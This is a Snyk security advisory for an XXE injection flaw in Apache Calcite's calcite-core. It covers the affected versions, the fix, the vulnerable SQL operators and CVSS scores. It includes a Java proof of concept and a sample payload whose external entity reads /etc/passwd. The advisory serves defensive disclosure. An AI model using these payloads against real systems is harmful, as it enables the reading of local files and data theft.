XML External Entity (XXE) Injection Affecting org.apache.calcite:calcite-core package, versions [1.22.0,1.32.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.2% (59th percentile)

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  • Snyk ID SNYK-JAVA-ORGAPACHECALCITE-3021143
  • published 11 Sep 2022
  • disclosed 11 Sep 2022
  • credit David Handermann

How to fix?

Upgrade org.apache.calcite:calcite-core to version 1.32.0 or higher.

Overview

org.apache.calcite:calcite-core is a Core Calcite APIs and engine.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection via the SQL operators EXISTS_NODE, EXTRACT_XML, XML_TRANSFORM and EXTRACT_VALUE that do not restrict XML External Entity references in their configuration.

Note: Users who expose these operators, typically by using Oracle dialect (for the first three) or MySQL dialect (for the last one), are affected by this vulnerability.

PoC

import org.apache.calcite.jdbc.Driver;

import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.Properties;

public class CalciteMySQLXmlExternalEntity {

  public static void main(String[] args) throws Exception {
    final String xml = "<!DOCTYPE document [ <!ENTITY entity SYSTEM \"file:///etc/passwd\"> ]><document>&entity;</document>";
    final String sql =
        String.format("SELECT EXTRACTVALUE('%s','/document') AS ENTITY", xml);
    final String functionDialect = "mysql";
    executeSql(sql, functionDialect);
  }

  private static void executeSql(final String sql,
      final String functionDialect) throws Exception {
    final Driver driver = new Driver();
    final Properties properties = new Properties();
    properties.put("fun", functionDialect);

    try (final Connection connection =
        driver.connect(Driver.CONNECT_STRING_PREFIX, properties);
      Statement statement = connection.createStatement()) {
      if (statement.execute(sql)) {
        try (final ResultSet resultSet = statement.getResultSet()) {
          resultSet.next();
          System.out.println(resultSet.getString("ENTITY"));
        }
      }
    }
  }
}

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.3 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    Low
  • Integrity (I)
    Low
  • Availability (A)
    Low
Expand this section

NVD

9.8 critical